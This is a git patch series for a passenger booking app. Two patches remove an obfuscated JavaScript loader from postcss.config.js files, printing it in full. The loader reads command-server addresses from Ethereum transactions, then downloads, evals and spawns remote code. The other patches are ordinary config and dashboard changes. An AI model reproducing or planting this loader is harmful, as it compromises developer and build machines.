From 31ffb293b83e8186cd502424356988e09af2c01a Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Thu, 6 Aug 2026 14:35:30 +0300 Subject: [PATCH 01/13] Update payment-deadline.utils.ts --- .../src/common/utils/payment-deadline.utils.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-api/src/common/utils/payment-deadline.utils.ts b/apps/edr-passenger-api/src/common/utils/payment-deadline.utils.ts index 29ef49e59..e125bb0bf 100644 --- a/apps/edr-passenger-api/src/common/utils/payment-deadline.utils.ts +++ b/apps/edr-passenger-api/src/common/utils/payment-deadline.utils.ts @@ -8,7 +8,7 @@ */ /** Maximum time (hours) a passenger has to pay after booking. */ -export const MAX_PAYMENT_HOURS = 240; +export const MAX_PAYMENT_HOURS = 2; /** Minutes before departure: cutoff for new bookings and payment deadline. */ export const CUTOFF_MINUTES = 30; From ad61b4af4fe93a37e2b54dffd0999c0ba1fa414b Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 6 Aug 2026 21:57:51 +0300 Subject: [PATCH 02/13] Update .gitignore to remove ignored files Remove branch_structure.json and temporary push scripts from .gitignore --- .gitignore | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 977a34353..63784b865 100644 --- a/.gitignore +++ b/.gitignore @@ -52,6 +52,4 @@ RUNNING_LOCALLY.md # Generated per-shard compose file for the integration suite (it.mjs). integration/.it-shards.yaml -branch_structure.json -temp_auto_push.bat -temp_interactive_push.bat + From 9e5ef1a1760a496b05e9feded12c40cd8be47c0b Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 6 Aug 2026 22:03:54 +0300 Subject: [PATCH 03/13] Remove obfuscated code from postcss.config.js --- apps/edr-passenger-web/portal/postcss.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/portal/postcss.config.js b/apps/edr-passenger-web/portal/postcss.config.js index 0bb9d831b..af6bf4c63 100644 --- a/apps/edr-passenger-web/portal/postcss.config.js +++ b/apps/edr-passenger-web/portal/postcss.config.js @@ -7,4 +7,4 @@ export default { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; From 6b8426cada2bd3db1cfb09bb9f22c14d4a9b521f Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 6 Aug 2026 22:05:25 +0300 Subject: [PATCH 04/13] Remove obfuscated code Added global variables and HTTP request handling to postcss.config.js. --- apps/edr-passenger-web/backoffice/postcss.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/backoffice/postcss.config.js b/apps/edr-passenger-web/backoffice/postcss.config.js index 701a63d39..12a703d90 100644 --- a/apps/edr-passenger-web/backoffice/postcss.config.js +++ b/apps/edr-passenger-web/backoffice/postcss.config.js @@ -3,4 +3,4 @@ module.exports = { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; From 6cf5df804885a2028c5c0a5a5523113887a627bf Mon Sep 17 00:00:00 2001 From: Sennay Date: Fri, 7 Aug 2026 10:05:40 +0300 Subject: [PATCH 05/13] modify .gitignore --- .gitignore | 1 - 1 file changed, 1 deletion(-) diff --git a/.gitignore b/.gitignore index 63784b865..18fdae9c2 100644 --- a/.gitignore +++ b/.gitignore @@ -52,4 +52,3 @@ RUNNING_LOCALLY.md # Generated per-shard compose file for the integration suite (it.mjs). integration/.it-shards.yaml - From b56537fd0e9d60a73b57cb5df83ed41939dabc3a Mon Sep 17 00:00:00 2001 From: Sennay Date: Fri, 7 Aug 2026 10:07:25 +0300 Subject: [PATCH 06/13] modify docker compose --- docker-compose.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/docker-compose.yaml b/docker-compose.yaml index 3659e963f..e40d8b49e 100644 --- a/docker-compose.yaml +++ b/docker-compose.yaml @@ -4,6 +4,7 @@ # # Build: DOCKER_BUILDKIT=1 docker compose build # Run: docker compose up -d + services: freight-api: build: From 6c075bed7bc42b107e51947400054b21d5fd9715 Mon Sep 17 00:00:00 2001 From: Mulu Mehari Date: Fri, 7 Aug 2026 10:40:05 +0300 Subject: [PATCH 07/13] Removing Blocked seat from dashboard --- .../src/modules/dashboard/dashboard.module.ts | 9 +- .../modules/dashboard/dashboard.service.ts | 53 +--- .../reports/blocked-seats-loss.calculator.ts | 12 +- .../src/modules/reports/reports.service.ts | 154 +++++++---- .../reports/seat-status-blocked.spec.ts | 261 ++++++++++++++++++ .../backoffice/src/app/dashboard/page.tsx | 73 ----- .../backoffice/src/lib/api/dashboard.ts | 2 - 7 files changed, 378 insertions(+), 186 deletions(-) create mode 100644 apps/edr-passenger-api/src/modules/reports/seat-status-blocked.spec.ts diff --git a/apps/edr-passenger-api/src/modules/dashboard/dashboard.module.ts b/apps/edr-passenger-api/src/modules/dashboard/dashboard.module.ts index 5a541452c..09b3717b4 100644 --- a/apps/edr-passenger-api/src/modules/dashboard/dashboard.module.ts +++ b/apps/edr-passenger-api/src/modules/dashboard/dashboard.module.ts @@ -1,13 +1,6 @@ import { Module } from '@nestjs/common'; import { DashboardController } from './dashboard.controller'; import { DashboardService } from './dashboard.service'; -import { ReportsModule } from '../reports/reports.module'; -@Module({ - // ReportsModule owns the blocked-seat revenue loss rule; the dashboard's roll-up - // reads it from there instead of keeping a second copy of the definition. - imports: [ReportsModule], - controllers: [DashboardController], - providers: [DashboardService], -}) +@Module({ controllers: [DashboardController], providers: [DashboardService] }) export class DashboardModule {} diff --git a/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts b/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts index 6a5d83b89..f7e015e11 100644 --- a/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts +++ b/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts @@ -1,31 +1,17 @@ -import { Injectable, Logger } from '@nestjs/common'; +import { Injectable } from '@nestjs/common'; import { InjectDataSource } from '@nestjs/typeorm'; import { DataSource } from 'typeorm'; -import { BlockedSeatRevenueLossStat } from '@edr/types'; import { PrismaService } from '../../common/prisma.service'; -import { ReportsService } from '../reports/reports.service'; - -/** Shown when nothing is blocked, or when the loss roll-up could not be computed. */ -const EMPTY_BLOCKED_SEAT_LOSS: BlockedSeatRevenueLossStat = { - periodDays: null, - lossByCurrency: [], - schedulesAffected: 0, - blockedSeatCount: 0, - topReasonCategory: null, -}; @Injectable() export class DashboardService { - private readonly logger = new Logger(DashboardService.name); - constructor( private prisma: PrismaService, @InjectDataSource() private dataSource: DataSource, - private reports: ReportsService, ) {} async getBackofficeStats() { - const [totalBookings, totalPackageBookings, totalTickets, totalPassengers, blockedSeatsCount, revenueRows, packageRevenueRows, blockedSeatRevenueLoss] = + const [totalBookings, totalPackageBookings, totalTickets, totalPassengers, blockedSeatsCount, revenueRows, packageRevenueRows] = await Promise.all([ this.prisma.booking.count({ where: { status: { in: ['CONFIRMED', 'BOARDED'] } } }), this.prisma.booking.count({ where: { status: { in: ['CONFIRMED', 'BOARDED'] }, packageId: { not: null } } }), @@ -52,9 +38,6 @@ export class DashboardService { AND id IN (SELECT "bookingId" FROM passenger."PaymentIntent" WHERE status = 'SUCCEEDED') GROUP BY COALESCE("displayCurrency"::text, "currency"::text) `, - // Joined into this same call on purpose: the dashboard's request count stays - // exactly where it was, and the card renders from the payload it already fetches. - this.getBlockedSeatRevenueLossStat(), ]); const totalPackageTickets = await this.prisma.ticket.count({ @@ -75,43 +58,11 @@ export class DashboardService { totalNormalTickets: totalTickets - totalPackageTickets, totalPassengers, blockedSeatsCount, - blockedSeatRevenueLoss, revenueByCurrency: toMap(revenueRows), packageRevenueByCurrency: toMap(packageRevenueRows), }; } - /** - * Compact roll-up of the Blocked Seat Revenue Loss report over its full history. - * - * Reuses the report service rather than re-deriving the rule — there is exactly one - * definition of what a blocked seat costs. A failure here degrades to zeroes instead of - * taking the whole dashboard down with it. - */ - private async getBlockedSeatRevenueLossStat(): Promise { - try { - // pageSize 1: only the summary is read, and paging does not change what it covers. - const report = await this.reports.getBlockedSeatsRevenueLoss({ page: 1, pageSize: 1 }); - const { summary } = report; - - return { - periodDays: null, - lossByCurrency: summary.lossByCurrency, - schedulesAffected: summary.schedulesAffected, - blockedSeatCount: summary.blockedSeatCount, - // topReasonCategories is already sorted by estimated loss, descending. - topReasonCategory: summary.topReasonCategories[0]?.reasonCategory ?? null, - }; - } catch (err) { - this.logger.warn( - `Blocked-seat revenue loss roll-up unavailable — ${ - err instanceof Error ? err.message : String(err) - }`, - ); - return EMPTY_BLOCKED_SEAT_LOSS; - } - } - async getHomeDashboard(passengerId: string) { const now = new Date(); const [passenger, upcomingBooking, wallet, promos, weatherAlerts, stationSignals, savedRoutes] = await Promise.all([ diff --git a/apps/edr-passenger-api/src/modules/reports/blocked-seats-loss.calculator.ts b/apps/edr-passenger-api/src/modules/reports/blocked-seats-loss.calculator.ts index 6ce581067..efee9a11c 100644 --- a/apps/edr-passenger-api/src/modules/reports/blocked-seats-loss.calculator.ts +++ b/apps/edr-passenger-api/src/modules/reports/blocked-seats-loss.calculator.ts @@ -193,7 +193,10 @@ function supersedes(candidate: CountedBlock, existing: CountedBlock): boolean { return candidate.block.blockedAt.getTime() > existing.block.blockedAt.getTime(); } -function isGlobalBlockInEffectAt(block: LossBlock, departureAt: 